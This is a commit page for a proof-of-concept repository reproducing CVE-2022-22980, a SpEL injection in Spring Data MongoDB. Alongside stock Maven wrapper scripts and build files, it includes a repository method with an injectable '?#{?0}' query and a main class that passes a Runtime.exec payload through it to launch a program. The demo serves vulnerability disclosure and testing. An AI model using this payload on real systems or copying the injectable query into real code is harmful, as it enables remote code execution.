Projects STRLCPY CVE-2022-22980 Commits d40cc238
🤬
  • ■ ■ ■ ■ ■ ■
    .mvn/wrapper/maven-wrapper.properties
     1 +distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.6.3/apache-maven-3.6.3-bin.zip
     2 +wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.2/maven-wrapper-0.5.2.tar.gz
     3 + 
  • ■ ■ ■ ■ ■ ■
    README.md
    1 1  # CVE-2022-22980
    2  -Poc of CVE-2022-22980
     2 + 
     3 +A local based poc of CVE-2022-22980, for the detail of this vulnerability see https://tanzu.vmware.com/security/cve-2022-22980.
    3 4   
     5 +Run
     6 + 
     7 +```bash
     8 +mvn spring-boot:run
     9 +```
     10 + 
     11 +or open with IDEA, and launch the `AccessingDataMongodbApplication`
     12 + 
     13 +![](screenshot.jpg)
  • ■ ■ ■ ■ ■ ■
    mvnw
     1 +#!/bin/sh
     2 +# ----------------------------------------------------------------------------
     3 +# Licensed to the Apache Software Foundation (ASF) under one
     4 +# or more contributor license agreements. See the NOTICE file
     5 +# distributed with this work for additional information
     6 +# regarding copyright ownership. The ASF licenses this file
     7 +# to you under the Apache License, Version 2.0 (the
     8 +# "License"); you may not use this file except in compliance
     9 +# with the License. You may obtain a copy of the License at
     10 +#
     11 +# http://www.apache.org/licenses/LICENSE-2.0
     12 +#
     13 +# Unless required by applicable law or agreed to in writing,
     14 +# software distributed under the License is distributed on an
     15 +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
     16 +# KIND, either express or implied. See the License for the
     17 +# specific language governing permissions and limitations
     18 +# under the License.
     19 +# ----------------------------------------------------------------------------
     20 + 
     21 +# ----------------------------------------------------------------------------
     22 +# Maven2 Start Up Batch script
     23 +#
     24 +# Required ENV vars:
     25 +# ------------------
     26 +# JAVA_HOME - location of a JDK home dir
     27 +#
     28 +# Optional ENV vars
     29 +# -----------------
     30 +# M2_HOME - location of maven2's installed home dir
     31 +# MAVEN_OPTS - parameters passed to the Java VM when running Maven
     32 +# e.g. to debug Maven itself, use
     33 +# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
     34 +# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
     35 +# ----------------------------------------------------------------------------
     36 + 
     37 +if [ -z "$MAVEN_SKIP_RC" ] ; then
     38 + 
     39 + if [ -f /etc/mavenrc ] ; then
     40 + . /etc/mavenrc
     41 + fi
     42 + 
     43 + if [ -f "$HOME/.mavenrc" ] ; then
     44 + . "$HOME/.mavenrc"
     45 + fi
     46 + 
     47 +fi
     48 + 
     49 +# OS specific support. $var _must_ be set to either true or false.
     50 +cygwin=false;
     51 +darwin=false;
     52 +mingw=false
     53 +case "`uname`" in
     54 + CYGWIN*) cygwin=true ;;
     55 + MINGW*) mingw=true;;
     56 + Darwin*) darwin=true
     57 + # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
     58 + # See https://developer.apple.com/library/mac/qa/qa1170/_index.html
     59 + if [ -z "$JAVA_HOME" ]; then
     60 + if [ -x "/usr/libexec/java_home" ]; then
     61 + export JAVA_HOME="`/usr/libexec/java_home`"
     62 + else
     63 + export JAVA_HOME="/Library/Java/Home"
     64 + fi
     65 + fi
     66 + ;;
     67 +esac
     68 + 
     69 +if [ -z "$JAVA_HOME" ] ; then
     70 + if [ -r /etc/gentoo-release ] ; then
     71 + JAVA_HOME=`java-config --jre-home`
     72 + fi
     73 +fi
     74 + 
     75 +if [ -z "$M2_HOME" ] ; then
     76 + ## resolve links - $0 may be a link to maven's home
     77 + PRG="$0"
     78 + 
     79 + # need this for relative symlinks
     80 + while [ -h "$PRG" ] ; do
     81 + ls=`ls -ld "$PRG"`
     82 + link=`expr "$ls" : '.*-> \(.*\)$'`
     83 + if expr "$link" : '/.*' > /dev/null; then
     84 + PRG="$link"
     85 + else
     86 + PRG="`dirname "$PRG"`/$link"
     87 + fi
     88 + done
     89 + 
     90 + saveddir=`pwd`
     91 + 
     92 + M2_HOME=`dirname "$PRG"`/..
     93 + 
     94 + # make it fully qualified
     95 + M2_HOME=`cd "$M2_HOME" && pwd`
     96 + 
     97 + cd "$saveddir"
     98 + # echo Using m2 at $M2_HOME
     99 +fi
     100 + 
     101 +# For Cygwin, ensure paths are in UNIX format before anything is touched
     102 +if $cygwin ; then
     103 + [ -n "$M2_HOME" ] &&
     104 + M2_HOME=`cygpath --unix "$M2_HOME"`
     105 + [ -n "$JAVA_HOME" ] &&
     106 + JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
     107 + [ -n "$CLASSPATH" ] &&
     108 + CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
     109 +fi
     110 + 
     111 +# For Mingw, ensure paths are in UNIX format before anything is touched
     112 +if $mingw ; then
     113 + [ -n "$M2_HOME" ] &&
     114 + M2_HOME="`(cd "$M2_HOME"; pwd)`"
     115 + [ -n "$JAVA_HOME" ] &&
     116 + JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
     117 +fi
     118 + 
     119 +if [ -z "$JAVA_HOME" ]; then
     120 + javaExecutable="`which javac`"
     121 + if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
     122 + # readlink(1) is not available as standard on Solaris 10.
     123 + readLink=`which readlink`
     124 + if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
     125 + if $darwin ; then
     126 + javaHome="`dirname \"$javaExecutable\"`"
     127 + javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
     128 + else
     129 + javaExecutable="`readlink -f \"$javaExecutable\"`"
     130 + fi
     131 + javaHome="`dirname \"$javaExecutable\"`"
     132 + javaHome=`expr "$javaHome" : '\(.*\)/bin'`
     133 + JAVA_HOME="$javaHome"
     134 + export JAVA_HOME
     135 + fi
     136 + fi
     137 +fi
     138 + 
     139 +if [ -z "$JAVACMD" ] ; then
     140 + if [ -n "$JAVA_HOME" ] ; then
     141 + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
     142 + # IBM's JDK on AIX uses strange locations for the executables
     143 + JAVACMD="$JAVA_HOME/jre/sh/java"
     144 + else
     145 + JAVACMD="$JAVA_HOME/bin/java"
     146 + fi
     147 + else
     148 + JAVACMD="`which java`"
     149 + fi
     150 +fi
     151 + 
     152 +if [ ! -x "$JAVACMD" ] ; then
     153 + echo "Error: JAVA_HOME is not defined correctly." >&2
     154 + echo " We cannot execute $JAVACMD" >&2
     155 + exit 1
     156 +fi
     157 + 
     158 +if [ -z "$JAVA_HOME" ] ; then
     159 + echo "Warning: JAVA_HOME environment variable is not set."
     160 +fi
     161 + 
     162 +CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
     163 + 
     164 +# traverses directory structure from process work directory to filesystem root
     165 +# first directory with .mvn subdirectory is considered project base directory
     166 +find_maven_basedir() {
     167 + 
     168 + if [ -z "$1" ]
     169 + then
     170 + echo "Path not specified to find_maven_basedir"
     171 + return 1
     172 + fi
     173 + 
     174 + basedir="$1"
     175 + wdir="$1"
     176 + while [ "$wdir" != '/' ] ; do
     177 + if [ -d "$wdir"/.mvn ] ; then
     178 + basedir=$wdir
     179 + break
     180 + fi
     181 + # workaround for JBEAP-8937 (on Solaris 10/Sparc)
     182 + if [ -d "${wdir}" ]; then
     183 + wdir=`cd "$wdir/.."; pwd`
     184 + fi
     185 + # end of workaround
     186 + done
     187 + echo "${basedir}"
     188 +}
     189 + 
     190 +# concatenates all lines of a file
     191 +concat_lines() {
     192 + if [ -f "$1" ]; then
     193 + echo "$(tr -s '\n' ' ' < "$1")"
     194 + fi
     195 +}
     196 + 
     197 +BASE_DIR=`find_maven_basedir "$(pwd)"`
     198 +if [ -z "$BASE_DIR" ]; then
     199 + exit 1;
     200 +fi
     201 + 
     202 +##########################################################################################
     203 +# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
     204 +# This allows using the maven wrapper in projects that prohibit checking in binary data.
     205 +##########################################################################################
     206 +if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
     207 + if [ "$MVNW_VERBOSE" = true ]; then
     208 + echo "Found .mvn/wrapper/maven-wrapper.jar"
     209 + fi
     210 +else
     211 + if [ "$MVNW_VERBOSE" = true ]; then
     212 + echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
     213 + fi
     214 + if [ "$MVNW_REPOURL" = true]; then
     215 + jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.2/maven-wrapper-0.5.2.jar"
     216 + else
     217 + jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.2/maven-wrapper-0.5.2.jar"
     218 + fi
     219 + while IFS="=" read key value; do
     220 + case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
     221 + esac
     222 + done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
     223 + if [ "$MVNW_VERBOSE" = true ]; then
     224 + echo "Downloading from: $jarUrl"
     225 + fi
     226 + wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
     227 + if $cygwin; then
     228 + wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"`
     229 + fi
     230 + 
     231 + if command -v wget > /dev/null; then
     232 + if [ "$MVNW_VERBOSE" = true ]; then
     233 + echo "Found wget ... using wget"
     234 + fi
     235 + if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
     236 + wget "$jarUrl" -O "$wrapperJarPath"
     237 + else
     238 + wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath"
     239 + fi
     240 + elif command -v curl > /dev/null; then
     241 + if [ "$MVNW_VERBOSE" = true ]; then
     242 + echo "Found curl ... using curl"
     243 + fi
     244 + if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
     245 + curl -o "$wrapperJarPath" "$jarUrl" -f
     246 + else
     247 + curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
     248 + fi
     249 +
     250 + else
     251 + if [ "$MVNW_VERBOSE" = true ]; then
     252 + echo "Falling back to using Java to download"
     253 + fi
     254 + javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
     255 + # For Cygwin, switch paths to Windows format before running javac
     256 + if $cygwin; then
     257 + javaClass=`cygpath --path --windows "$javaClass"`
     258 + fi
     259 + if [ -e "$javaClass" ]; then
     260 + if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
     261 + if [ "$MVNW_VERBOSE" = true ]; then
     262 + echo " - Compiling MavenWrapperDownloader.java ..."
     263 + fi
     264 + # Compiling the Java class
     265 + ("$JAVA_HOME/bin/javac" "$javaClass")
     266 + fi
     267 + if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
     268 + # Running the downloader
     269 + if [ "$MVNW_VERBOSE" = true ]; then
     270 + echo " - Running MavenWrapperDownloader.java ..."
     271 + fi
     272 + ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
     273 + fi
     274 + fi
     275 + fi
     276 +fi
     277 +##########################################################################################
     278 +# End of extension
     279 +##########################################################################################
     280 + 
     281 +export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
     282 +if [ "$MVNW_VERBOSE" = true ]; then
     283 + echo $MAVEN_PROJECTBASEDIR
     284 +fi
     285 +MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
     286 + 
     287 +# For Cygwin, switch paths to Windows format before running java
     288 +if $cygwin; then
     289 + [ -n "$M2_HOME" ] &&
     290 + M2_HOME=`cygpath --path --windows "$M2_HOME"`
     291 + [ -n "$JAVA_HOME" ] &&
     292 + JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
     293 + [ -n "$CLASSPATH" ] &&
     294 + CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
     295 + [ -n "$MAVEN_PROJECTBASEDIR" ] &&
     296 + MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
     297 +fi
     298 + 
     299 +WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
     300 + 
     301 +exec "$JAVACMD" \
     302 + $MAVEN_OPTS \
     303 + -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
     304 + "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
     305 + ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"
     306 + 
  • ■ ■ ■ ■ ■ ■
    mvnw.cmd
     1 +@REM ----------------------------------------------------------------------------
     2 +@REM Licensed to the Apache Software Foundation (ASF) under one
     3 +@REM or more contributor license agreements. See the NOTICE file
     4 +@REM distributed with this work for additional information
     5 +@REM regarding copyright ownership. The ASF licenses this file
     6 +@REM to you under the Apache License, Version 2.0 (the
     7 +@REM "License"); you may not use this file except in compliance
     8 +@REM with the License. You may obtain a copy of the License at
     9 +@REM
     10 +@REM http://www.apache.org/licenses/LICENSE-2.0
     11 +@REM
     12 +@REM Unless required by applicable law or agreed to in writing,
     13 +@REM software distributed under the License is distributed on an
     14 +@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
     15 +@REM KIND, either express or implied. See the License for the
     16 +@REM specific language governing permissions and limitations
     17 +@REM under the License.
     18 +@REM ----------------------------------------------------------------------------
     19 + 
     20 +@REM ----------------------------------------------------------------------------
     21 +@REM Maven2 Start Up Batch script
     22 +@REM
     23 +@REM Required ENV vars:
     24 +@REM JAVA_HOME - location of a JDK home dir
     25 +@REM
     26 +@REM Optional ENV vars
     27 +@REM M2_HOME - location of maven2's installed home dir
     28 +@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
     29 +@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending
     30 +@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
     31 +@REM e.g. to debug Maven itself, use
     32 +@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
     33 +@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
     34 +@REM ----------------------------------------------------------------------------
     35 + 
     36 +@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
     37 +@echo off
     38 +@REM set title of command window
     39 +title %0
     40 +@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'
     41 +@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
     42 + 
     43 +@REM set %HOME% to equivalent of $HOME
     44 +if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
     45 + 
     46 +@REM Execute a user defined script before this one
     47 +if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
     48 +@REM check for pre script, once with legacy .bat ending and once with .cmd ending
     49 +if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
     50 +if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
     51 +:skipRcPre
     52 + 
     53 +@setlocal
     54 + 
     55 +set ERROR_CODE=0
     56 + 
     57 +@REM To isolate internal variables from possible post scripts, we use another setlocal
     58 +@setlocal
     59 + 
     60 +@REM ==== START VALIDATION ====
     61 +if not "%JAVA_HOME%" == "" goto OkJHome
     62 + 
     63 +echo.
     64 +echo Error: JAVA_HOME not found in your environment. >&2
     65 +echo Please set the JAVA_HOME variable in your environment to match the >&2
     66 +echo location of your Java installation. >&2
     67 +echo.
     68 +goto error
     69 + 
     70 +:OkJHome
     71 +if exist "%JAVA_HOME%\bin\java.exe" goto init
     72 + 
     73 +echo.
     74 +echo Error: JAVA_HOME is set to an invalid directory. >&2
     75 +echo JAVA_HOME = "%JAVA_HOME%" >&2
     76 +echo Please set the JAVA_HOME variable in your environment to match the >&2
     77 +echo location of your Java installation. >&2
     78 +echo.
     79 +goto error
     80 + 
     81 +@REM ==== END VALIDATION ====
     82 + 
     83 +:init
     84 + 
     85 +@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
     86 +@REM Fallback to current working directory if not found.
     87 + 
     88 +set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
     89 +IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
     90 + 
     91 +set EXEC_DIR=%CD%
     92 +set WDIR=%EXEC_DIR%
     93 +:findBaseDir
     94 +IF EXIST "%WDIR%"\.mvn goto baseDirFound
     95 +cd ..
     96 +IF "%WDIR%"=="%CD%" goto baseDirNotFound
     97 +set WDIR=%CD%
     98 +goto findBaseDir
     99 + 
     100 +:baseDirFound
     101 +set MAVEN_PROJECTBASEDIR=%WDIR%
     102 +cd "%EXEC_DIR%"
     103 +goto endDetectBaseDir
     104 + 
     105 +:baseDirNotFound
     106 +set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
     107 +cd "%EXEC_DIR%"
     108 + 
     109 +:endDetectBaseDir
     110 + 
     111 +IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
     112 + 
     113 +@setlocal EnableExtensions EnableDelayedExpansion
     114 +for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
     115 +@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
     116 + 
     117 +:endReadAdditionalConfig
     118 + 
     119 +SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
     120 +set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
     121 +set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
     122 + 
     123 +set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.2/maven-wrapper-0.5.2.jar"
     124 + 
     125 +FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO (
     126 + IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
     127 +)
     128 + 
     129 +@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
     130 +@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
     131 +if exist %WRAPPER_JAR% (
     132 + echo Found %WRAPPER_JAR%
     133 +) else (
     134 + if not "%MVNW_REPOURL%" == "" (
     135 + SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.2/maven-wrapper-0.5.2.jar"
     136 + )
     137 + echo Couldn't find %WRAPPER_JAR%, downloading it ...
     138 + echo Downloading from: %DOWNLOAD_URL%
     139 +
     140 + powershell -Command "&{"^
     141 + "$webclient = new-object System.Net.WebClient;"^
     142 + "if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^
     143 + "$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^
     144 + "}"^
     145 + "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^
     146 + "}"
     147 + echo Finished downloading %WRAPPER_JAR%
     148 +)
     149 +@REM End of extension
     150 + 
     151 +%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
     152 +if ERRORLEVEL 1 goto error
     153 +goto end
     154 + 
     155 +:error
     156 +set ERROR_CODE=1
     157 + 
     158 +:end
     159 +@endlocal & set ERROR_CODE=%ERROR_CODE%
     160 + 
     161 +if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
     162 +@REM check for post script, once with legacy .bat ending and once with .cmd ending
     163 +if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
     164 +if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
     165 +:skipRcPost
     166 + 
     167 +@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
     168 +if "%MAVEN_BATCH_PAUSE%" == "on" pause
     169 + 
     170 +if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
     171 + 
     172 +exit /B %ERROR_CODE%
     173 + 
  • ■ ■ ■ ■ ■ ■
    pom.xml
     1 +<?xml version="1.0" encoding="UTF-8"?>
     2 +<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
     3 + xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
     4 + <modelVersion>4.0.0</modelVersion>
     5 + <parent>
     6 + <groupId>org.springframework.boot</groupId>
     7 + <artifactId>spring-boot-starter-parent</artifactId>
     8 + <version>2.7.0</version>
     9 + <relativePath/> <!-- lookup parent from repository -->
     10 + </parent>
     11 + <groupId>com.example</groupId>
     12 + <artifactId>accessing-data-mongodb-complete</artifactId>
     13 + <version>0.0.1-SNAPSHOT</version>
     14 + <name>accessing-data-mongodb-complete</name>
     15 + <description>Demo project for Spring Boot</description>
     16 + <properties>
     17 + <java.version>1.8</java.version>
     18 + </properties>
     19 + <dependencies>
     20 + <dependency>
     21 + <groupId>org.springframework.boot</groupId>
     22 + <artifactId>spring-boot-starter-data-mongodb</artifactId>
     23 + </dependency>
     24 + 
     25 + <dependency>
     26 + <groupId>org.springframework.boot</groupId>
     27 + <artifactId>spring-boot-starter-test</artifactId>
     28 + <scope>test</scope>
     29 + </dependency>
     30 + </dependencies>
     31 + 
     32 + <build>
     33 + <plugins>
     34 + <plugin>
     35 + <groupId>org.springframework.boot</groupId>
     36 + <artifactId>spring-boot-maven-plugin</artifactId>
     37 + </plugin>
     38 + </plugins>
     39 + </build>
     40 + 
     41 +</project>
     42 + 
  • screenshot.jpg
  • ■ ■ ■ ■ ■ ■
    src/main/java/com/example/accessingdatamongodb/AccessingDataMongodbApplication.java
     1 +package com.example.accessingdatamongodb;
     2 + 
     3 +import org.bson.codecs.DecoderContext;
     4 +import org.springframework.beans.factory.annotation.Autowired;
     5 +import org.springframework.boot.CommandLineRunner;
     6 +import org.springframework.boot.SpringApplication;
     7 +import org.springframework.boot.autoconfigure.SpringBootApplication;
     8 +import org.springframework.data.mongodb.util.json.ParameterBindingDocumentCodec;
     9 +import org.springframework.data.mongodb.util.json.ParameterBindingJsonReader;
     10 + 
     11 +@SpringBootApplication
     12 +public class AccessingDataMongodbApplication implements CommandLineRunner {
     13 + 
     14 + @Autowired
     15 + private CustomerRepository repository;
     16 + 
     17 + public static void main(String[] args) {
     18 + SpringApplication.run(AccessingDataMongodbApplication.class, args);
     19 + }
     20 + 
     21 + @Override
     22 + public void run(String... args) throws Exception {
     23 + 
     24 + repository.deleteAll();
     25 + 
     26 + // save a couple of customers
     27 + repository.save(new Customer("Alice", "Smith"));
     28 + repository.save(new Customer("Bob", "Smith"));
     29 + 
     30 + // fetch all customers
     31 + System.out.println("Customers found with findAll():");
     32 + System.out.println("-------------------------------");
     33 + for (Customer customer : repository.findAll()) {
     34 + System.out.println(customer);
     35 + }
     36 + System.out.println();
     37 + 
     38 + // fetch an individual customer
     39 + System.out.println("Customer found with findByFirstName('Alice'):");
     40 + System.out.println("--------------------------------");
     41 + // Eval query
     42 + System.out.println(repository.findByFirstName("T(java.lang.Runtime).getRuntime().exec(\"calc\")"));
     43 + // Normal query
     44 + System.out.println(repository.findByFirstName("Alice"));
     45 + 
     46 + }
     47 + 
     48 +}
     49 + 
  • ■ ■ ■ ■ ■ ■
    src/main/java/com/example/accessingdatamongodb/Customer.java
     1 +package com.example.accessingdatamongodb;
     2 + 
     3 +import org.springframework.data.annotation.Id;
     4 + 
     5 + 
     6 +public class Customer {
     7 + 
     8 + @Id
     9 + public String id;
     10 + 
     11 + public String firstName;
     12 + public String lastName;
     13 + 
     14 + public Customer() {}
     15 + 
     16 + public Customer(String firstName, String lastName) {
     17 + this.firstName = firstName;
     18 + this.lastName = lastName;
     19 + }
     20 + 
     21 + @Override
     22 + public String toString() {
     23 + return String.format(
     24 + "Customer[id=%s, firstName='%s', lastName='%s']",
     25 + id, firstName, lastName);
     26 + }
     27 + 
     28 +}
     29 + 
     30 + 
  • ■ ■ ■ ■ ■ ■
    src/main/java/com/example/accessingdatamongodb/CustomerRepository.java
     1 +package com.example.accessingdatamongodb;
     2 + 
     3 +import java.util.List;
     4 + 
     5 +import org.springframework.data.mongodb.repository.MongoRepository;
     6 +import org.springframework.data.mongodb.repository.Query;
     7 + 
     8 +public interface CustomerRepository extends MongoRepository<Customer, String> {
     9 + 
     10 + @Query("{ 'firstName' : ?#{?0} }")
     11 + public Customer findByFirstName(String firstName);
     12 + 
     13 + @Query("{ 'lastName' : ?0 }")
     14 + public List<Customer> findByLastName(String lastName);
     15 + 
     16 +}
     17 + 
Please wait...
Page is in error, reload to recover